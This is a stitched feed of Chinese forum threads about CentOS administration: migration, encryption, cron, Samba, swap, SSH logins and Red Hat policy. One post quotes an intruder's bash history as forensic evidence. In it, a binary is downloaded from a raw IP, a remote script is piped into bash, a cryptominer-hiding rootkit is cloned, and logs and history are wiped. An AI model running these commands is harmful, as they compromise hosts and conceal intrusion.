如果不是没有必要,真的不想用 centos7,但是没有办法.
]]>主要架构支持:
核心组件更新:
重要变更:
已知问题:
CentOS Stream 10 将作为未来 Red Hat Enterprise Linux 10 的预览版本,预计生命周期至 2030 年。
]]>目前目标系统有 RHEL ,openeuler ,银河麒麟
由于是不同的业务,不同的应用开发商开发的系统,每个应用系统下都有数量不一的虚拟机,所以三个目标系统都有可能迁移。
由于不是普通的如阿里云、腾讯云这样的公有云,所以有很大的迁移难度。目前我想通过平滑迁移的方法将系统迁移到目标系统,就是不新装系统,而是使用工具进行系统迁移。
我查了从 centos7 迁移到这三个系统都有官方提供的迁移工具,如红帽的 conver2RHEL ,欧拉的 x2openeuler ,麒麟的也有。
想问下各位,目前这样的迁移方法技术是否稳定成熟,有哪些需要注意的点?
集思广益,也能为大家今后迁移 centos 提前踩坑。
当然我知道能用的系统最好是不要动,我肯定是不想背这种锅。
]]>然而还有加密根目录的需求,去搜索了一下相关文档说是对根目录的加密需要在安装系统的时候进行
所以来求助一下广大坛友! 目前是这样操作的 进入文本模式后按 alt+tab 切换到其他终端 使用
cryptsetup luksFormat /dev/sda2 cryptsetup open /dev/sda2 root
创建加密分区,然后切换回文字引导模式,选择安装位置的时候会报错 报错内容为
The existing unlocked Luks device sda2 cannot be used for the installation without an encryption key specified for this device. Please, rescan the storage
]]>研发侧发现,一个 php 脚本可以正常调用docker
(podman)进行一些操作,但是经由 crontab 调度则执行失败
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/bin:/root/bin
/usr/bin:/bin
/usr/sbin
到底是为啥sudo vi /etc/resolv.conf` nameserver 8.8.8.8 nameserver 8.8.4.4 sudo systemctl restart network
然后机器就失去了链接,vnc 登录后发现 network 启动失败. 搜索了下相关解决方法,也没处理掉.到现在还是一头雾水. 最无法理解的是为何更新这个 8.8.8.8/114.114.114.114 会影响网络启动? 不知道有木有知道的大佬给消息解惑下.
]]>之前 almalinux 或者 oracle linux 或者 rockylinux 可以直接通过 rhel 公布的源码构建完全 1:1 等价的 rhel 免费发行版
现在红帽决定不公开 rhel 发行版了,你会问这不违反 gpl 协议么? 不违反,因为 gpl 之规定你分发二进制的时候必须附上源代码,现在你不花钱就无法获得 rhel ,而花了钱的用户可以通过红帽的 portal 协议获得源代码,对了通过 portal 获取的源码直接构建是违反红帽协议的。
结合去年高招,centos 直接成为中游 stream ,也就是 fedora 负责社区快速迭代,centos stream 的代码完全公开,但是 我 rhel 虽然是基于 stream 的代码库,但我现在不公开了,你想要白嫖我,你自己去 stream 代码库里构建,我完全遵循开放源码的规定,但是想 1:1 二进制兼容,你自己去 stream 滚动版本里提取吧。
有人说 源码 等价 和 二进制等价有啥区别,主要就在于 安全更新 和维护的软件包,在滚动发行版本里只存在最新的版本 这里面是不包含商业加护维护的那些 bugfix 的。
感慨法务真的伟大值钱,早应该这么干了。 第一步收购 centos ,消灭 centoos ; 第二步 创建 centos stream 滚动发行版成为 rhel 中游; 第三步,通过法律条款直接限制 第三方 基于 srpm 构建二进制等价的发行版; 第四步,宣布个人用户免费可以使用 16 台 rhel 的授权
cite:
https://www.reddit.com/r/AlmaLinux/comments/14fcj4h/centos_stream_will_now_be_the_sole_repository_for/ https://juejin.cn/post/7238772205515997245
上面这个掘金的关于 redhat 员工的采访真实绝了,不停的混淆 源码等价 和 二进制等价这件事,堪称绝杀,甚至在道德层面都无法指摘。
]]>1 export TERM=xterm 2 top 3 /usr/lib/sys/rcu_bj 4 cd /usr/lib/sys/ 5 ls 6 chmod +x rcu_bj 7 ./rcu_bj 8 chattr -ia rcu_bj 9 ./rcu_bj 10 cd / 11 mkdir .a 12 cd .a 13 git clone https://github.com/alfonmga/hiding-cryptominers-linux-rootkit.git 14 cd hiding-cryptominers-linux-rootkit/ 15 ls 16 make 17 dmesg 18 dmesg -C 19 ls 20 make 21 ls 22 make 23 make 24 cd .. 25 rm -rf hiding-cryptominers-linux-rootkit/ 26 curl -LO http://1.234.16.54:7070/apiapi/api/raw/master/s.zip;mv s.zip rcu;chmod +x rcu 27 ./rcu 28 top 29 rm -rf /var/log/* 30 cat /dev/null > ~/.bash_history 31 id 32 curl http://123.30.179.206:8189/solr/.v7/api | bash 33 ps auxw --sort=%cpu|tail -10 34 lscpu 35 ps auxw --sort=%cpu|tail -10 36 ps auxw --sort=%cpu|tail -10 37 ps auxw --sort=%cpu|tail -10 38 ps aux | grep rcu 39 python -c 'import pty; pty.spawn("/bin/bash")'
https://github.com/alfonmga/hiding-cryptominers-linux-rootkit
[root@localhost profile.d]# cd /usr/lib/sys [root@localhost sys]# ll 总用量 8 -rwxr-x--x 1 root confluence 0 12 月 1 18:38 rcu_bj -rwxr-x--- 1 root confluence 2786 11 月 14 11:01 rcu_libk -rwxrwx--- 1 root root 1199 11 月 14 11:01 rcu_udev -rwxr-x--- 1 root confluence 0 11 月 14 18:02 systemd [root@localhost sys]# lsattr rcu_bj ---------------- rcu_bj 您在 /var/spool/mail/root 中有邮件 [root@localhost sys]# lsattr rcu_libk ---------------- rcu_libk [root@localhost sys]# lsattr rcu_undev lsattr: 没有那个文件或目录 当尝试对 rcu_undev 进行 stat 调用时 [root@localhost sys]# lsattr rcu_udev ---------------- rcu_udev
[root@localhost sys]# ps -ef|grep rcu root 8 2 0 4 月 13 ? 00:00:06 [rcu_bh] root 9 2 0 4 月 13 ? 22:01:59 [rcu_sched] root 168224 243031 0 16:28 pts/24 00:00:00 grep --color=auto rcu
有一台服务器需要登录上去查看日志。希望创建一个账户,实现以下权限管理:
尝试过依据 https://www.digitalocean.com/community/questions/how-do-i-restrict-a-user-to-a-specific-directory 的内容,执行
adduser -g restricted_user -d /home/restricted_user restricted_user
并设置了 home 目录所有者
chown -R restricted_user /home/restricted_user
使用 restricted_user
用户登录 SSH ,通过 Midnight Commander 测试,确实无法访问 /root
目录,提示无权限。但依然可以访问其他目录并看到其中文件名称,例如 /etc
,这是不希望看到的。
/root
权限为 dr-xr-x--- (550)
/etc
权限为 drwxr-xr-x (755)
假如把包括 /etc
/var
这些文件夹权限都设置成 550 ,是否会有些激进?是否会影响 root
账户下运行的其他进程,或者带来未知的系统性问题?
还有没有什么其他好办法来创建一个用户,只允许其访问指定文件夹下的文件?
感谢各位
]]>以上两种方式都可以连接成功输入用户密码使用.
但是无法在 macOS 和 Windows 的网络里自动被发现.例如群晖,Windows PC.甚至 OpenWrt 都能够这被自动发现,就是这个 CentOS 的 smb 无法被发现..
个人觉得应该是 workgroup
或者类似于网络发现
之类的功能没开启,搜索了下国内外的一些问题,也尝试过很多都没有解决.
目前尝试过在 [global] 里修改 workgroup = WORKGROUP , 但是执行 testparm 回显却不显示这一行,那就表示这一行有问题..但是改为其他的例如 workgroup = SAMBA 却没问题.
实在没办法了,看看大家有没有遇到过解决过这个问题的..
nmbd 已开启
smb.conf
[global] security = user workgroup = WORKGROUP netbios name = CentOS passdb backend = tdbsam
testparm 回显
Server role: ROLE_STANDALONE Press enter to see a dump of your service definitions # Global parameters [global] netbios name = CENTOS security = USER wins support = Yes idmap config * : backend = tdb
有没有懂哥知道为什么?
]]>watch -n 2 free -m
查看发现内存耗尽了,于是参考文档配置了 swap 内存,未编译时状态:
[root ~]#free -m total used free shared buff/cache available Mem: 3685 426 2922 9 335 3022 Swap: 11967 0 11967
编译 grpc 后的状态
Every 2.0s: free -m Fri Jul 9 12:40:49 2021 total used free shared buff/cache available Mem: 3685 3361 98 9 225 87 Swap: 11967 0 11967
从上面的图可以看到,内存基本上使用完了,但死活不使用 swap 里的内存,最后程序卡死,编译 grpc 一直卡在 50%,我把 vm.swappiness 值设置为 10 20 …… 100 最后结果一样。
grpc 最终卡在:
[ 49%] Building CXX object third_party/protobuf/CMakeFiles/libprotoc.dir/__/src/google/protobuf/compiler/plugin.cc.o [ 49%] Building CXX object third_party/protobuf/CMakeFiles/libprotoc.dir/__/src/google/protobuf/compiler/plugin.pb.cc.o [ 49%] Building CXX object third_party/protobuf/CMakeFiles/libprotoc.dir/__/src/google/protobuf/compiler/python/python_generator.cc.o [ 50%] Built target bssl ^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^Cmake[2]: *** [third_party/protobuf/CMakeFiles/libprotoc.dir/__/src/google/protobuf/compiler/code_generator.cc.o] 中断 make[2]: *** [third_party/abseil-cpp/absl/flags/CMakeFiles/absl_flags.dir/flag.cc.o] 中断 make[2]: *** [third_party/abseil-cpp/absl/status/CMakeFiles/absl_statusor.dir/statusor.cc.o] 中断 make[1]: *** [third_party/protobuf/CMakeFiles/libprotoc.dir/all] 中断 make: *** [all] 中断 ^C
ctrl + c 后 swap 里反而有了使用内存:
Every 2.0s: free -m Fri Jul 9 12:44:15 2021 total used free shared buff/cache available Mem: 3685 166 3450 1 68 3358 Swap: 11967 262 11705
gcc 和系统版本:
[root ~]#gcc --version gcc (GCC) 7.3.1 20180303 (Red Hat 7.3.1-5) [root ~]#uname -a Linux MiWiFi-RA50-srv 3.10.0-1160.31.1.el7.x86_64 #1 SMP Thu Jun 10 13:32:12 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
跪求各位大佬帮忙分析下,如何才能让 swap 生效,从而可以完成编译 grpc,可以从哪些方面去分析呢?
]]>鼠标啥的都动不了了 什么情况,
]]>尝试过以下的步骤:
root pts/1 170.3.69.2 Fri Jun 4 15:49 still logged in root pts/1 170.3.69.2 Fri Jun 4 15:47 - 15:49 (00:01) root pts/1 170.3.69.2 Fri Jun 4 15:46 - 15:47 (00:00) ...省略一些差不多的 ... roo pts/0 :0 Wed Mar 24 12:23 - 12:24 (00:01) roo pts/0 :0 Wed Mar 24 12:16 - 12:23 (00:07) roo :0 :0 Wed Mar 24 12:10 - down (00:14) reboot system boot 3.10.0-1127.el7. Wed Mar 24 12:00 - 12:24 (00:24)
既然使用密钥可以登陆的话,那网络问题应该排除了。实在没有办法了,有没有大佬能帮忙鉴定下问题出现在哪里?
这个是使用密钥成功能登陆的日志( ssh -v -p 22 <ip 地址>):
OpenSSH_7.4p1, OpenSSL 1.0.2k-fips 26 Jan 2017 debug1: Reading configuration data /root/.ssh/config debug1: /root/.ssh/config line 40: Applying options for * debug1: Reading configuration data /etc/ssh/ssh_config debug1: /etc/ssh/ssh_config line 58: Applying options for * debug1: auto-mux: Trying existing master debug1: mux_client_request_session: master session id: 2 Last login: Fri Jun 4 15:59:42 2021
这个是在别的电脑上使用密码登陆失败的日志( ssh -v -p 22 <ip 地址>):
OpenSSH_7.4p1, OpenSSL 1.0.2k-fips 26 Jan 2017 debug1: Reading configuration data /root/.ssh/config debug1: /root/.ssh/config line 1: Applying options for * debug1: Reading configuration data /etc/ssh/ssh_config debug1: /etc/ssh/ssh_config line 58: Applying options for * debug1: auto-mux: Trying existing master debug1: Control socket "/root/.ssh/<这里是 ip>-22-root" does not exist debug1: Connecting to <这里是 ip> [<这里是 ip>] port 22. debug1: Connection established. debug1: permanently_set_uid: 0/0 debug1: key_load_public: No such file or directory debug1: identity file /root/.ssh/<这里是 key 名称>.key type -1 debug1: key_load_public: No such file or directory debug1: identity file /root/.ssh/<这里是 key 名称>.key-cert type -1 debug1: Enabling compatibility mode for protocol 2.0 debug1: Local version string SSH-2.0-OpenSSH_7.4 debug1: Remote protocol version 2.0, remote software version OpenSSH_6.6.1 debug1: match: OpenSSH_6.6.1 pat OpenSSH_6.6.1* compat 0x04000000 debug1: Authenticating to <这里是 ip>:22 as 'root' debug1: SSH2_MSG_KEXINIT sent debug1: SSH2_MSG_KEXINIT received debug1: kex: algorithm: curve25519-sha256@libssh.org debug1: kex: host key algorithm: ecdsa-sha2-nistp256 debug1: kex: server->client cipher: chacha20-poly1305@openssh.com MAC: <implicit> compression: none debug1: kex: client->server cipher: chacha20-poly1305@openssh.com MAC: <implicit> compression: none debug1: kex: curve25519-sha256@libssh.org need=64 dh_need=64 debug1: kex: curve25519-sha256@libssh.org need=64 dh_need=64 debug1: expecting SSH2_MSG_KEX_ECDH_REPLY debug1: Server host key: ecdsa-sha2-nistp256 SHA256:sQeFN1/GfQqAohAXEyndzeCStwG4wEcawUl3vZhwniw debug1: Host '<这里是 ip>' is known and matches the ECDSA host key. debug1: Found key in /root/.ssh/known_hosts:23 debug1: rekey after 134217728 blocks debug1: SSH2_MSG_NEWKEYS sent debug1: expecting SSH2_MSG_NEWKEYS debug1: SSH2_MSG_NEWKEYS received debug1: rekey after 134217728 blocks debug1: SSH2_MSG_SERVICE_ACCEPT received debug1: Authentications that can continue: publickey,gssapi-keyex,gssapi-with-mic,password debug1: Next authentication method: gssapi-keyex debug1: No valid Key exchange context debug1: Next authentication method: gssapi-with-mic debug1: Unspecified GSS failure. Minor code may provide more information No Kerberos credentials available (default cache: KEYRING:persistent:0) debug1: Unspecified GSS failure. Minor code may provide more information No Kerberos credentials available (default cache: KEYRING:persistent:0) debug1: Next authentication method: publickey debug1: Trying private key: /root/.ssh/<这里是 key 名称>.key debug1: Authentications that can continue: publickey,gssapi-keyex,gssapi-with-mic,password debug1: Next authentication method: password root@<这里是 ip>'s password: debug1: Authentications that can continue: publickey,gssapi-keyex,gssapi-with-mic,password Permission denied, please try again. root@<这里是 ip>'s password: debug1: Authentications that can continue: publickey,gssapi-keyex,gssapi-with-mic,password Permission denied, please try again. root@<这里是 ip>'s password: debug1: Authentications that can continue: publickey,gssapi-keyex,gssapi-with-mic,password debug1: No more authentication methods to try. Permission denied (publickey,gssapi-keyex,gssapi-with-mic,password)
]]>但在 centos8 中貌似使用了 nmcli 命令替代,请问大佬知道如何用 nmcli 创建虚拟网桥以及挂载网桥吗?
]]>空项目已经 2.1k star 了
自己主力用 Debian, 但是有些项目只支持 CentOS 呀, 例如 NI-VISA
]]>从 centos8 转成 stream 之后,vnc 变成要用 systemd 启动,然后配了半天就一直是启动完马上就退出,也不报错。搜了一下只在 arch 的论坛上发现有人讨论这个问题。。。
]]>2022 年开始 centOS 将变成 RHEL 的 Beta 测试平台。。。
]]>最后一句话神了:
If you are using CentOS Linux 8 in a production environment, and are concerned that CentOS Stream will not meet your needs, we encourage you to contact Red Hat about options.
We will not be producing a CentOS Linux 9, as a rebuild of RHEL 9. Instead CentOS Stream 9 fulfills this role. (See Q6 below regarding the overlap between concurrent streams.)
]]>关键我用 ali 同步也有问题 难道不是 sudo ntpdate -u
这个命令?
postgresql.conf
和pg_hba.conf
已正常配置允许其他主机访问。firewall-cmd --zOne=public --add-service=postgresql
,也尝试过firewall-cmd --zOne=public --add-port=5432/tcp
。要给 centos6 安装 4.8+ 的 gcc,看到有人使用这个 yum 源 ,但不清楚该 yum 源是否可靠。
还有就是如果大佬有好的简便的 安装高版本 gcc 的方法,也求分享
]]>重启切换 5.7.2 内核进入系统没有加载网卡,如图
请问这个问题该怎么解决?
]]>ssh 用户名 /密码:test1/test123456,应该是通过撞库登录进来的,目前已恢复
恢复过程:删除定时任务,删除进程,删除脚本,删除 authorized_keys,删除若口令用户
]]>环境信息,centos7
现象描述,设备 mount 共享文件夹,没问题。但是一旦设备重启了,再去 mount 必然会出现 failed: Connection refused 提示。 服务器端:nfs 正常运行,rpcbind 正常运行,尝试过关闭防火墙报错依然存在,/etc/exports 配置信息如下: /home/share *(rw,async,wdelay,no_root_squash,no_subtree)
目前出现这个问题时候,都是通过重启网络临时解决这个问题。systemctl restart network 请教下大佬们,怎么分析问题,怎么解决这个问题呢? 每次都是设备重启后再去 mount,必然报错,然后重启网络才能连上。
]]>修改 /usr/share/containers/libpod.conf
infra_image = "k8s.gcr.io/pause:3.1"
=>
infra_image = "docker.io/mirrorgooglecontainers/pause"
]]>